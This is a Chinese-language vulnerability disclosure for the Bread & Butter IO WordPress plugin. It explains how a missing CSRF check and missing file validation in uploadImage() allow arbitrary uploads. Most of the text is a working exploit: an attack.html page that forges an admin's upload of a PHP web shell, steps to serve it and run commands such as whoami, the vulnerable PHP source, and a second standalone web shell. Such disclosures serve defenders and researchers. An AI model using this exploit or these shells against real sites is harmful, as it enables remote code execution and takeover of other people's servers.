Bread & Butter IO 插件在其图片上传功能中存在一个漏洞,允许任何攻击者诱骗已认证的管理员将任意文件上传到服务器,包括 PHP Web Shell,从而导致远程代码执行(RCE)。该漏洞源于 uploadImage() 函数缺少 CSRF 保护,攻击者可以构造恶意请求,而管理员的浏览器会自动执行这些请求。
该漏洞存在于 /bread-butter/src/Base/Ajax.php 中的 uploadImage() 函数内,该函数缺乏适当的文件验证与 CSRF 保护,并在任何安全检查之前直接使用 file_put_contents() 将文件写入 WordPress 上传目录。
以下是简单的 attack.html:
<!DOCTYPE html>
<html>
<body>
<button onclick="exploit()">CSRF Attack</button>
<script>
function exploit() {
const form = document.createElement('form');
form.action = 'http://TARGETSITE.COM/wp-admin/admin-ajax.php';
form.method = 'POST';
form.enctype = 'multipart/form-data';
form.target = '_blank';
form.style.display = 'none';
// Action field
const action = document.createElement('input');
action.name = 'action';
action.value = 'upload_image';
form.appendChild(action);
// File field
const file = document.createElement('input');
file.type = 'file';
file.name = 'file';
const blob = new Blob([`<?php system($_GET['cmd']); ?>`], { type: 'image/jpeg' });
const phpFile = new File([blob], 'test.php', { type: 'image/jpeg' });
const dt = new DataTransfer();
dt.items.add(phpFile);
file.files = dt.files;
form.appendChild(file);
document.body.appendChild(form);
form.submit();
}
</script>
</body>
</html>
要运行 POC,你可以在本地使用类似以下方式启动:
# Serve the CSRF exploit
python3 -m http.server 1337
# Visit: http://localhost:1337/attack.html
# Click "CSRF Attack" button
# Check new tab for WordPress response
# Test uploaded shell: https://TARGETSITE.COM/wp-content/uploads/[year]/[month]/test.php?cmd=whoami
一旦受害者的浏览器以管理员身份登录,点击该链接即可导致 RCE。
该漏洞存在于 /bread-butter/src/Base/Ajax.php 中的 uploadImage() 函数内,位于 第 411 行:
public function uploadImage() {
$this->checkAdmin();
$file = $_FILES['file'];
$type = $file['type'];
$name = $file['name'];
$image_url = $file['tmp_name'];
$upload_dir = wp_upload_dir();
$image_data = file_get_contents($image_url);
$filename = basename($name);
if (wp_mkdir_p($upload_dir['path'])) {
$file = $upload_dir['path'] . '/' . $filename;
} else {
$file = $upload_dir['basedir'] . '/' . $filename;
}
file_put_contents($file, $image_data); // Attacker get's file moved to acessable storage!
// Post-upload processing (after vulnerability is exploited)
$wp_filetype = wp_check_filetype($filename, null);
// ... rest of function
}
该易受攻击的函数在 第 95 行 处被注册为 WordPress AJAX 处理器:
add_action('wp_ajax_' . self::$uploadImage, array($this, 'uploadImage'));
其中 self::$uploadImage 在 第 37 行 处被定义为 upload_image。
唯一的安全控制是 第 166-171 行 中的 checkAdmin() 方法:
public function checkAdmin() {
if (!current_user_can('manage_options')) {
echo 0;
wp_die();
}
}
由于缺少 CSRF 保护,该漏洞可通过跨站请求伪造(Cross-Site Request Forgery)攻击加以利用。attack.html POC 通过以下方式演示了这一点:
target="_blank" 绕过 CORS 限制attack.html)/wp-content/uploads/[year]/[month]/test.php?cmd=whoami 访问上传的 Shell/wp-admin/admin-ajax.php 发送 AJAX 请求<?php
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
} else {
echo "Shell ready. Use ?cmd=command";
}
?>
/wp-content/uploads/[year]/[month]/[filename].php 访问上传的文件